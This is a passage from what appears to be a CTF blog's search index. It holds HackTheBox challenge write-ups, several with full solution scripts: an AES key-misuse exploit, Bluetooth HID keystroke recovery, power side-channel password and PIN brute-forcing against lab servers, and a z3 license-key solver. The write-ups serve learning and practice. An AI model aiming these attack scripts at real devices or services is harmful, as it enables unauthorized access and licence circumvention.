you. Your father always talked about implementing this scheme in devices for security reasons. Could it have been him?\nExploitation #!/usr/bin/python3 import hashlib from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes from pwn import * def encrypt(data, shared_secret): key = hashlib.md5(long_to_bytes(shared_secret)).digest() cipher = AES.new(key, AES.MODE_ECB) padded_data = data.ljust(16 * ((len(data) + 15) // 16), b\u0026#39;\\0\u0026#39;) return cipher.encrypt(padded_data) def main(): if len(sys.argv) != 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) port = int(port) p = remote(host, port) message = b\u0026#39;Initialization Sequence - Code 0\u0026#39; shared_secret = 1 encrypted_message = encrypt(message, shared_secret) p.sendlineafter(b\u0026#39;Enter The Public Key of The Memory: \u0026#39;, b\u0026#39;1\u0026#39;) p.sendlineafter(b\u0026#39;Enter The Encrypted Initialization Sequence: \u0026#39;, encrypted_message.hex().encode()) try: p.recvline() p.recvline() print(p.recv().decode()) except EOFError: print(\u0026#34;Connection closed by the server.\u0026#34;) if __name__ == \u0026#39;__main__\u0026#39;: main() Summary Android-in-the-Middle: abuse the AES misuse, derive the missing key material, and decrypt the flag.\n","date":"2025-01-07T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Android-in-the-Middle-Challenge/","protected":null,"snippet":"Android-in-the-Middle: abuse the AES misuse, derive the missing key material, and decrypt the flag.","tags":["htb","crypto","aes","hash"],"title":"HackTheBox Android-in-the-Middle Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-07T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Full-of-Stars-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","ai","prompt-injection","neural-network"],"title":"HackTheBox Full of Stars Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-07T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Like-a-Glove-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","ai","embeddings","prompt-injection","neural-network"],"title":"HackTheBox Like a Glove Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-07T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Lost-in-Hyperspace-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","ai","sklearn","embeddings","prompt-injection","neural-network"],"title":"HackTheBox Lost in Hyperspace Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/427\nDescription Help! One of our red teamers has captured something between a user and their computer, but we\u0026rsquo;ve got no idea what we\u0026rsquo;re looking at! Can you take a look?\nExploitation tshark -r \u0026#34;mitm.log\u0026#34; -d \u0026#39;btl2cap.cid==65,bthid\u0026#39; -Y \u0026#39;bthid.data.protocol_code == 0x01\u0026#39; -Y \u0026#39;usbhid.boot_report.keyboard.keycode_1 != 0x00\u0026#39; -T fields -e \u0026#39;usbhid.boot_report.keyboard.modifier.left_shift\u0026#39; -e \u0026#39;usbhid.boot_report.keyboard.keycode_1\u0026#39; | tr \u0026#39;\\t\u0026#39; \u0026#39;,\u0026#39; \u0026gt; payload #!/usr/bin/python3 KEY_CODES = { \u0026#39;0x04\u0026#39;: [\u0026#39;a\u0026#39;, \u0026#39;A\u0026#39;], \u0026#39;0x05\u0026#39;: [\u0026#39;b\u0026#39;, \u0026#39;B\u0026#39;], \u0026#39;0x06\u0026#39;: [\u0026#39;c\u0026#39;, \u0026#39;C\u0026#39;], \u0026#39;0x07\u0026#39;: [\u0026#39;d\u0026#39;, \u0026#39;D\u0026#39;], \u0026#39;0x08\u0026#39;: [\u0026#39;e\u0026#39;, \u0026#39;E\u0026#39;], \u0026#39;0x09\u0026#39;: [\u0026#39;f\u0026#39;, \u0026#39;F\u0026#39;], \u0026#39;0x0a\u0026#39;: [\u0026#39;g\u0026#39;, \u0026#39;G\u0026#39;], \u0026#39;0x0b\u0026#39;: [\u0026#39;h\u0026#39;, \u0026#39;H\u0026#39;], \u0026#39;0x0c\u0026#39;: [\u0026#39;i\u0026#39;, \u0026#39;I\u0026#39;], \u0026#39;0x0d\u0026#39;: [\u0026#39;j\u0026#39;, \u0026#39;J\u0026#39;], \u0026#39;0x0e\u0026#39;: [\u0026#39;k\u0026#39;, \u0026#39;K\u0026#39;], \u0026#39;0x0f\u0026#39;: [\u0026#39;l\u0026#39;, \u0026#39;L\u0026#39;], \u0026#39;0x10\u0026#39;: [\u0026#39;m\u0026#39;, \u0026#39;M\u0026#39;], \u0026#39;0x11\u0026#39;: [\u0026#39;n\u0026#39;, \u0026#39;N\u0026#39;], \u0026#39;0x12\u0026#39;: [\u0026#39;o\u0026#39;, \u0026#39;O\u0026#39;], \u0026#39;0x13\u0026#39;: [\u0026#39;p\u0026#39;, \u0026#39;P\u0026#39;], \u0026#39;0x14\u0026#39;: [\u0026#39;q\u0026#39;, \u0026#39;Q\u0026#39;], \u0026#39;0x15\u0026#39;: [\u0026#39;r\u0026#39;, \u0026#39;R\u0026#39;], \u0026#39;0x16\u0026#39;: [\u0026#39;s\u0026#39;, \u0026#39;S\u0026#39;], \u0026#39;0x17\u0026#39;: [\u0026#39;t\u0026#39;, \u0026#39;T\u0026#39;], \u0026#39;0x18\u0026#39;: [\u0026#39;u\u0026#39;, \u0026#39;U\u0026#39;], \u0026#39;0x19\u0026#39;: [\u0026#39;v\u0026#39;, \u0026#39;V\u0026#39;], \u0026#39;0x1a\u0026#39;: [\u0026#39;w\u0026#39;, \u0026#39;W\u0026#39;], \u0026#39;0x1b\u0026#39;: [\u0026#39;x\u0026#39;, \u0026#39;X\u0026#39;], \u0026#39;0x1c\u0026#39;: [\u0026#39;y\u0026#39;, \u0026#39;Y\u0026#39;], \u0026#39;0x1d\u0026#39;: [\u0026#39;z\u0026#39;, \u0026#39;Z\u0026#39;], \u0026#39;0x1e\u0026#39;: [\u0026#39;1\u0026#39;, \u0026#39;!\u0026#39;], \u0026#39;0x1f\u0026#39;: [\u0026#39;2\u0026#39;, \u0026#39;@\u0026#39;], \u0026#39;0x20\u0026#39;: [\u0026#39;3\u0026#39;, \u0026#39;#\u0026#39;], \u0026#39;0x21\u0026#39;: [\u0026#39;4\u0026#39;, \u0026#39;$\u0026#39;], \u0026#39;0x22\u0026#39;: [\u0026#39;5\u0026#39;, \u0026#39;%\u0026#39;], \u0026#39;0x23\u0026#39;: [\u0026#39;6\u0026#39;, \u0026#39;^\u0026#39;], \u0026#39;0x24\u0026#39;: [\u0026#39;7\u0026#39;, \u0026#39;\u0026amp;\u0026#39;], \u0026#39;0x25\u0026#39;: [\u0026#39;8\u0026#39;, \u0026#39;*\u0026#39;], \u0026#39;0x26\u0026#39;: [\u0026#39;9\u0026#39;, \u0026#39;(\u0026#39;], \u0026#39;0x27\u0026#39;: [\u0026#39;0\u0026#39;, \u0026#39;)\u0026#39;], \u0026#39;0x28\u0026#39;: [\u0026#39;\\n\u0026#39;, \u0026#39;\\n\u0026#39;], \u0026#39;0x29\u0026#39;: [\u0026#39;␛\u0026#39;, \u0026#39;␛\u0026#39;], \u0026#39;0x2a\u0026#39;: [\u0026#39;⌫\u0026#39;, \u0026#39;⌫\u0026#39;], \u0026#39;0x2b\u0026#39;: [\u0026#39;\\t\u0026#39;, \u0026#39;\\t\u0026#39;], \u0026#39;0x2c\u0026#39;: [\u0026#39; \u0026#39;, \u0026#39; \u0026#39;], \u0026#39;0x2d\u0026#39;: [\u0026#39;-\u0026#39;, \u0026#39;_\u0026#39;], \u0026#39;0x2e\u0026#39;: [\u0026#39;=\u0026#39;, \u0026#39;+\u0026#39;], \u0026#39;0x2f\u0026#39;: [\u0026#39;[\u0026#39;, \u0026#39;{\u0026#39;], \u0026#39;0x30\u0026#39;: [\u0026#39;]\u0026#39;, \u0026#39;}\u0026#39;], \u0026#39;0x32\u0026#39;: [\u0026#39;#\u0026#39;, \u0026#39;~\u0026#39;], \u0026#39;0x33\u0026#39;: [\u0026#39;;\u0026#39;, \u0026#39;:\u0026#39;], \u0026#39;0x34\u0026#39;: [\u0026#34;\u0026#39;\u0026#34;, \u0026#39;\u0026#34;\u0026#39;], \u0026#39;0x36\u0026#39;: [\u0026#39;,\u0026#39;, \u0026#39;\u0026lt;\u0026#39;], \u0026#39;0x37\u0026#39;: [\u0026#39;.\u0026#39;, \u0026#39;\u0026gt;\u0026#39;], \u0026#39;0x38\u0026#39;: [\u0026#39;/\u0026#39;, \u0026#39;?\u0026#39;], \u0026#39;0x39\u0026#39;: [\u0026#39;⇪\u0026#39;, \u0026#39;⇪\u0026#39;], \u0026#39;0x4f\u0026#39;: [u\u0026#39;→\u0026#39;, u\u0026#39;→\u0026#39;], \u0026#39;0x50\u0026#39;: [u\u0026#39;←\u0026#39;, u\u0026#39;←\u0026#39;], \u0026#39;0x51\u0026#39;: [u\u0026#39;↓\u0026#39;, u\u0026#39;↓\u0026#39;], \u0026#39;0x52\u0026#39;: [u\u0026#39;↑\u0026#39;, u\u0026#39;↑\u0026#39;] } with open(\u0026#39;./payload\u0026#39;, \u0026#39;r\u0026#39;) as f: payload = f.readlines() flag = [] for line in payload: line = line.strip() sh, ch = line.split(\u0026#39;,\u0026#39;) ch = ch.strip() if sh == \u0026#34;True\u0026#34;: flag.append(KEY_CODES.get(ch, [\u0026#39;\u0026#39;])[1]) else: flag.append(KEY_CODES.get(ch, [\u0026#39;\u0026#39;])[0]) flag = \u0026#34;\u0026#34;.join(flag) print(flag) Summary Man In The Middle: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2025-01-07T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Man-In-The-Middle-Challenge/","protected":null,"snippet":"Man In The Middle: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Man In The Middle Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-07T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Micro-Storage-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","misc"],"title":"HackTheBox Micro Storage Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-07T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Prometheon-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","ai","prompt-injection","neural-network"],"title":"HackTheBox Prometheon Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/514\nDescription In the race for Vitalium on Mars, the villainous Board of Arodor resorted to desperate measures, needing funds for their mining attempts. They devised a botnet specifically crafted to mine cryptocurrency covertly. We stumbled upon a sample of Arodor\u0026rsquo;s miner\u0026rsquo;s installer on our server. Recognizing the gravity of the situation, we launched a thorough investigation. With you as its leader, you need to unravel the inner workings of the installation mechanism. The discovery served as a turning point, revealing the extent of Arodor\u0026rsquo;s desperation. However, the battle for Vitalium continued, urging us to remain vigilant and adapt our cyber defenses to counter future threats.\nAnalysis part1=$(echo -n \u0026#34;cGFydDE9IkhUQnttMW4xbmciCg==\u0026#34; | base64 -d | sed \u0026#39;s/part1=//; s/\u0026#34;//g\u0026#39;) part2=$(echo -n \u0026#34;cGFydDI9Il90aDMxcl93NHkiCg==\u0026#34; | base64 -d | sed \u0026#39;s/part2=//; s/\u0026#34;//g\u0026#39;) part3=$(echo -n \u0026#34;X3QwX200cnN9Cg==\u0026#34; | base64 -d | sed \u0026#39;s/\u0026#34;//g\u0026#39; | tr -d \u0026#39;}\u0026#39;) part4=$(echo -n \u0026#34;ZXhwb3J0IHBhcnQ0PSJfdGgzX3IzZF9wbDRuM3R9Ig==\u0026#34; | base64 -d | sed \u0026#39;s/export part4=//; s/\u0026#34;//g\u0026#39;) flag=\u0026#34;${part1}${part2}${part3}${part4}\u0026#34; echo \u0026#34;${flag}\u0026#34; Summary Red Miners: isolate the relevant artifact, decode the evidence, and extract the flag.\n","date":"2025-01-07T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Red-Miners-Challenge/","protected":null,"snippet":"Red Miners: isolate the relevant artifact, decode the evidence, and extract the flag.","tags":["htb","forensics"],"title":"HackTheBox Red Miners Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-07T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Secure-Server-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","misc"],"title":"HackTheBox Secure Server Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-07T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Spin-Glass-Brain-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","ai","prompt-injection","neural-network"],"title":"HackTheBox Spin Glass Brain Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-07T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Deterministic-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","misc"],"title":"HackTheBox Deterministic Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-06T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Regas-Town-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","rev","linux"],"title":"HackTheBox Rega's Town Challenge"},{"categories":["challenge"],"contents":"","date":"2025-01-03T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-NoClip-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","gamepwn","memory","sdl"],"title":"HackTheBox NoClip Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/219\nDescription The Investigation after a recent breach revealed that one of our standard firmware flashing tools is backdoored. We also identified the last device that we flashed the firmware onto. We use LPC2148 microcontrollers in our devices. Can you analyze the firmware and see if any data was sent?\nExploitation arm-none-eabi-binutils\narm-none-eabi-objcopy -I ihex -O binary firmware.hex firmware arm-none-eabi-objdump -D -b binary -m arm firmware Decompile firmware\n#!/usr/bin/python3 first = [0x52, 0x4e, 0x58, 0x61, 0x78, 0x2e, 0x68, 0x29, 0x45, 0x77, 0x29, 0x6e, 0x2e, 0x76, 0x69, 0x45] second = [0x1a, 0x96, 0x14, 0xcc, 0xbe, 0x98, 0xae, 0xcc, 0x14, 0x12, 0xba, 0xbe, 0x10, 0x30, 0x30, 0x30, 0x88] def extract_flag(first, second): decoded_first = \u0026#39;\u0026#39;.join(chr(i ^ 0x1A) for i in first) decoded_second = \u0026#39;\u0026#39;.join(chr((j \u0026gt;\u0026gt; 1) ^ 0x39) for j in second) return decoded_first + decoded_second print(\u0026#34;Decoded Flag:\u0026#34;, extract_flag(first, second)) Summary Mini Line: decode the captured signal, map the bitstream, and recover the flag.\n","date":"2024-12-31T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Mini-Line-Challenge/","protected":null,"snippet":"Mini Line: decode the captured signal, map the bitstream, and recover the flag.","tags":["htb","hardware","firmware","signal"],"title":"HackTheBox Mini Line Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/280\nDescription Quick we need to get access to the bunker and we are running out of time! The door is using an advanced steam-powered door locking mechanism which we cannot breach. One of our scientists managed to make a tool that measures the mechanical stress of the pipes moving steam during the verification of the password and created a power consumption model but it looks like just random signals. Can you find anything useful in the data?\nExploitation #!/usr/bin/python3 import sys,time,socket,base64 import numpy as np VALID_CHARS = [chr(x) for x in range(33, 126)] THRESHOLD = 100 def b64_decode_trace(leakage): return np.frombuffer(base64.b64decode(leakage)) def connect_to_socket(host, port, option, data): data = data.encode() with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((host, port)) s.recv(1024) s.sendall(option) s.recv(1024) s.sendall(data) resp_data = b\u0026#39;\u0026#39; while True: tmp = s.recv(8096) if not tmp: break resp_data += tmp return resp_data def testing(host, port, password_guess): leakage = connect_to_socket(host, port, b\u0026#39;1\u0026#39;, password_guess) return b64_decode_trace(leakage) def main(): host, port = sys.argv[1].split(\u0026#34;:\u0026#34;) port = int(port) guessed_pw = \u0026#34;HTB{\u0026#34; while True: ref_trace = testing(host, port, guessed_pw + \u0026#34;\\x00\u0026#34;) for c in VALID_CHARS: trace = testing(host, port, guessed_pw + c) diff = np.sum(np.abs(trace - ref_trace)) if diff \u0026gt; THRESHOLD: guessed_pw += c print(guessed_pw) break if __name__ == \u0026#34;__main__\u0026#34;: main() Summary Out of Time: decode the captured signal, map the bitstream, and recover the flag.\n","date":"2024-12-31T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Out-of-Time-Challenge/","protected":null,"snippet":"Out of Time: decode the captured signal, map the bitstream, and recover the flag.","tags":["htb","hardware","firmware","signal"],"title":"HackTheBox Out of Time Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/404\nDescription The final step of this operation is to retrieve the contents of the safebox locked in the next room. It appears the device also has anti-tampering mechanisms that will lock it and destroy its contents, so we must be careful. The team is setting up a remote lab for you to access parts of the device and try to bypass its security mechanism.\nExploitation Decompile using http://www.javadecompilers.com/\nYou will find\nprivate static final String SECRET = \u0026#34;qvb4a1b07E870B\u0026#34;; #!/usr/bin/python3 from typing import List, Tuple, Dict from dataclasses import dataclass import socket,struct,hashlib,sys import matplotlib.pyplot as plt from time import sleep @dataclass class TraceData: label: str samples: List[float] class PowerAnalyzer: def __init__(self, host: str, port: int, plot_enabled: bool = False): self.host = host self.port = port self.plot_enabled = plot_enabled self.valid_chars = \u0026#34;0123456789\u0026#34; def _recv_bytes(self, conn: socket.socket, n_bytes: int) -\u0026gt; bytes: buffer = b\u0026#39;\u0026#39; while len(buffer) \u0026lt; n_bytes: buffer += conn.recv(n_bytes - len(buffer)) return buffer def _socket_readline(self, conn: socket.socket) -\u0026gt; bytes: buffer = b\u0026#39;\u0026#39; while True: char = self._recv_bytes(conn, 1) buffer += char if char == b\u0026#39;\\n\u0026#39;: break return buffer def _recv_trace(self, conn: socket.socket) -\u0026gt; TraceData: label_len = struct.unpack(\u0026#34;\u0026lt;L\u0026#34;, self._recv_bytes(conn, 4))[0] label = self._recv_bytes(conn, label_len).decode() trace_len = struct.unpack(\u0026#34;\u0026lt;L\u0026#34;, self._recv_bytes(conn, 4))[0] sample_buffer = self._recv_bytes(conn, trace_len * 4) samples = [struct.unpack(\u0026#34;\u0026lt;f\u0026#34;, sample_buffer[i:i+4])[0] for i in range(0, len(sample_buffer), 4)] return TraceData(label, samples) def _find_peaks(self, trace: List[float]) -\u0026gt; List[Tuple[int, float]]: min_val = min(trace) max_val = max(trace) threshold = (max_val - min_val) / 2 + min_val peaks = [] state = 0 for i, value in enumerate(trace): if state == 0 and value \u0026gt; threshold: state = 1 peaks.append((i, value)) elif state == 1 and value \u0026lt; threshold: state = 0 return peaks def _calc_delta_peaks(self, peaks: List[Tuple[int, float]]) -\u0026gt; List[int]: return [curr[0] - prev[0] for prev, curr in zip([(0, 0)] + peaks[:-1], peaks)] def _plot_traces(self, traces: Dict[str, List[float]]): plt.figure(figsize=(12, 6)) colors = {\u0026#39;trace_led_auth\u0026#39;: \u0026#39;r\u0026#39;, \u0026#39;trace_led_unlocked\u0026#39;: \u0026#39;g\u0026#39;, \u0026#39;trace_mcu\u0026#39;: \u0026#39;b\u0026#39;} for label, trace in traces.items(): plt.plot(trace, colors.get(label, \u0026#39;k\u0026#39;), label=label) plt.legend() plt.grid(True) plt.show(block=True) def _run_attempt(self, conn: socket.socket, code: str) -\u0026gt; Dict[str, List[float]]: print(f\u0026#39;Attempting code: {code}\u0026#39;) conn.send(code.encode() + b\u0026#39;\\n\u0026#39;) traces = {} for _ in range(3): trace_data = self._recv_trace(conn) traces[trace_data.label] = trace_data.samples return traces def analyze_power_trace(self): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as conn: conn.connect((self.host, self.port)) print(self._socket_readline(conn).decode()) print(self._socket_readline(conn).decode()) conn.recv(1024) conn.send(b\u0026#39;password\u0026#39;) conn.recv(1024) code = [\u0026#39;A\u0026#39;] last_delta = None char_pos = 0 curr_digit = 0 while True: if curr_digit \u0026gt;= len(self.valid_chars): print(f\u0026#39;Failed to determine char at position {char_pos}\u0026#39;) break code[char_pos] = self.valid_chars[curr_digit] curr_digit += 1 traces = self._run_attempt(conn, \u0026#39;\u0026#39;.join(code)) if self.plot_enabled: self._plot_traces(traces) self._socket_readline(conn) peaks = self._find_peaks(traces[\u0026#39;trace_mcu\u0026#39;]) delta_peaks = self._calc_delta_peaks(peaks) if last_delta is None: last_delta = delta_peaks[-1] continue if last_delta - delta_peaks[-1] \u0026gt; 50: min_val = min(traces[\u0026#39;trace_led_unlocked\u0026#39;]) max_val = max(traces[\u0026#39;trace_led_unlocked\u0026#39;]) if max_val - min_val \u0026gt; 1: print(\u0026#39;Successfully unlocked!\u0026#39;) break last_delta = delta_peaks[-1] char_pos += 1 curr_digit = 0 code.append(\u0026#39;A\u0026#39;) if self.plot_enabled: self._plot_traces(traces) return \u0026#39;\u0026#39;.join(code) def authenticate(self, code: str, secret: str = \u0026#34;qvb4a1b07E870B\u0026#34;): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as conn: conn.connect((self.host, self.port)) for _ in range(2): print(conn.recv(1024).strip().decode()) conn.send(b\u0026#39;auth\u0026#39;) for _ in range(2): print(conn.recv(1024).strip().decode()) sleep(0.1) conn.send(b\u0026#39;getChallenge\u0026#39;) response = conn.recv(1024).strip().decode() challenge = response.split(\u0026#34;:\u0026#34;)[1] message = challenge + secret sha_hash = hashlib.sha1(message.encode()).hexdigest() response = f\u0026#39;resp:{challenge}:{sha_hash}\u0026#39;.encode() conn.send(response) for _ in range(2): print(conn.recv(1024).strip().decode()) conn.send(code.encode()) for _ in range(2): print(conn.recv(1024).strip().decode()) def main(): if len(sys.argv) \u0026lt; 2: print(\u0026#34;Usage: python script.py \u0026lt;ip:port\u0026gt; [plt]\u0026#34;) sys.exit(1) host, port = sys.argv[1].split(\u0026#34;:\u0026#34;) plot_enabled = len(sys.argv) == 3 and sys.argv[2].lower() == \u0026#39;plt\u0026#39; analyzer = PowerAnalyzer(host, int(port), plot_enabled) code = analyzer.analyze_power_trace() analyzer.authenticate(code) if __name__ == \u0026#34;__main__\u0026#34;: main() Summary Space Heist: decode the captured signal, map the bitstream, and recover the flag.\n","date":"2024-12-31T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Space-Heist-Challenge/","protected":null,"snippet":"Space Heist: decode the captured signal, map the bitstream, and recover the flag.","tags":["htb","hardware","firmware","signal"],"title":"HackTheBox Space Heist Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-28T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Exatlon-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","rev","linux"],"title":"HackTheBox Exatlon Challenge"},{"categories":["machine"],"contents":"","date":"2024-12-28T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-UnderPass/","protected":true,"snippet":"Enter the password to unlock this machine writeup.","tags":["htb","linux","docker"],"title":"HackTheBox UnderPass Writeup"},{"categories":["challenge"],"contents":"","date":"2024-12-21T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-APKey-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","mobile","android"],"title":"HackTheBox APKey Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-21T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Bashic-Calculator-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","misc"],"title":"HackTheBox Bashic Calculator Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-21T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Cat-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","mobile","android"],"title":"HackTheBox Cat Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-21T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Cryptohorrific-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","mobile","android"],"title":"HackTheBox Cryptohorrific Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-21T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Investigator-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","mobile","android"],"title":"HackTheBox Investigator Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-21T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Nostalgia-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","gamepwn","gdb","gba"],"title":"HackTheBox Nostalgia Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-21T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-SAW-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","mobile","android"],"title":"HackTheBox SAW Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/409\nDescription After cleaning up we found this old program and wanted to see what it does, but we can\u0026rsquo;t find the licence we had for it anywhere. Can you help?\nExploitation #!/usr/bin/python3 from z3 import * s = Solver() flag = [BitVec(f\u0026#39;flag_{i}\u0026#39;, 8) for i in range(0x20)] for i in range(0x20): s.add(flag[i] \u0026gt;= 0x20, flag[i] \u0026lt;= 0x7f) s.add(flag[9] == ord(\u0026#39;p\u0026#39;)) s.add(flag[0x1d] == (flag[5] - flag[3]) + ord(\u0026#39;F\u0026#39;)) s.add((flag[2] + flag[0x16]) == (flag[0xd] + ord(\u0026#39;{\u0026#39;))) s.add((flag[0xc] + flag[4]) == (flag[5] + 0x1c)) s.add((flag[0x19] * flag[0x17]) == (flag[0] + flag[0x11] + 0x17)) s.add((flag[0x1b] * flag[1]) == (flag[5] + flag[0x16] - 0x15)) s.add((flag[9] * flag[0xd]) == (flag[0x1c] * flag[3] - 9)) s.add((flag[0x13] + flag[0x15]) == (flag[6] - 0x80)) s.add(flag[0x10] == (flag[0xf] - flag[0xb]) + ord(\u0026#39;0\u0026#39;)) s.add((flag[7] * flag[0x1b]) == (flag[1] * flag[0xd] + ord(\u0026#39;-\u0026#39;))) s.add(flag[0xd] == (flag[0x12] + flag[0xd] - 0x65)) s.add((flag[0x14] - flag[8]) == (flag[9] + ord(\u0026#39;|\u0026#39;))) s.add(flag[0x1f] == (flag[8] - flag[0x1f]) - 0x79) s.add((flag[0x14] * flag[0x1f]) == (flag[0x14] + 0x04)) s.add((flag[0x18] - flag[0x11]) == (flag[0x15] + flag[8] - 0x17)) s.add((flag[7] + flag[5]) == (flag[5] + flag[0x1d] + ord(\u0026#39;,\u0026#39;))) s.add((flag[0xc] * flag[10]) == (flag[1] - flag[0xb] - 0x24)) s.add((flag[0x1f] * flag[0]) == (flag[0x1a] - 0x1b)) s.add((flag[1] + flag[0x14]) == (flag[10] - 0x7d)) s.add(flag[0x12] == (flag[0x1b] + flag[0xe] + 0x02)) s.add((flag[0x1e] * flag[0xb]) == (flag[0x15] + ord(\u0026#39;D\u0026#39;))) s.add((flag[5] * flag[0x13]) == (flag[1] - 0x2c)) s.add((flag[0xd] - flag[0x1a]) == (flag[0x15] - 0x7f)) s.add(flag[0x17] == (flag[0x1d] - flag[0] + ord(\u0026#39;X\u0026#39;))) s.add(flag[0x13] == (flag[8] * flag[0xd] - 0x17)) s.add((flag[6] + flag[0x16]) == (flag[3] + ord(\u0026#39;S\u0026#39;))) s.add(flag[0xc] == (flag[0x1a] + flag[7] - 0x72)) s.add(flag[0x10] == (flag[0x12] - flag[5] + ord(\u0026#39;3\u0026#39;))) s.add((flag[0x1e] - flag[8]) == (flag[0x1d] - 0x4d)) s.add((flag[0x14] - flag[0xb]) == (flag[3] - 0x4c)) s.add((flag[0x10] - flag[7]) == (flag[0x11] + ord(\u0026#39;f\u0026#39;))) s.add((flag[1] + flag[0x15]) == (flag[0xb] + flag[0x12] + ord(\u0026#39;+\u0026#39;))) if s.check() == sat: m = s.model() solution = \u0026#39;\u0026#39; for i in range(0x20): c = m[flag[i]].as_long() solution += chr(c) print(f\u0026#34;Found valid license key: {solution}\u0026#34;) else: print(\u0026#34;No solution found\u0026#34;) Summary Spooky License: reverse the validation logic, model the transform, and recover the accepted input.\n","date":"2024-12-21T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Spooky-License-Challenge/","protected":null,"snippet":"Spooky License: reverse the validation logic, model the transform, and recover the accepted input.","tags":["htb","rev","linux"],"title":"HackTheBox Spooky License Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-20T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-CubeMadness1-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","gamepwn","unity","memory"],"title":"HackTheBox CubeMadness1 Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-20T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-CubeMadness2-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","gamepwn","unity","unity-il2cpp"],"title":"HackTheBox CubeMadness2 Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/745\nDescription A couple years ago I was experimenting with Android Development and I created this application to hide my secret, but now I forgot how to get it back. Can you help me?\nExploitation Use jadx-gui to decompile and look at the 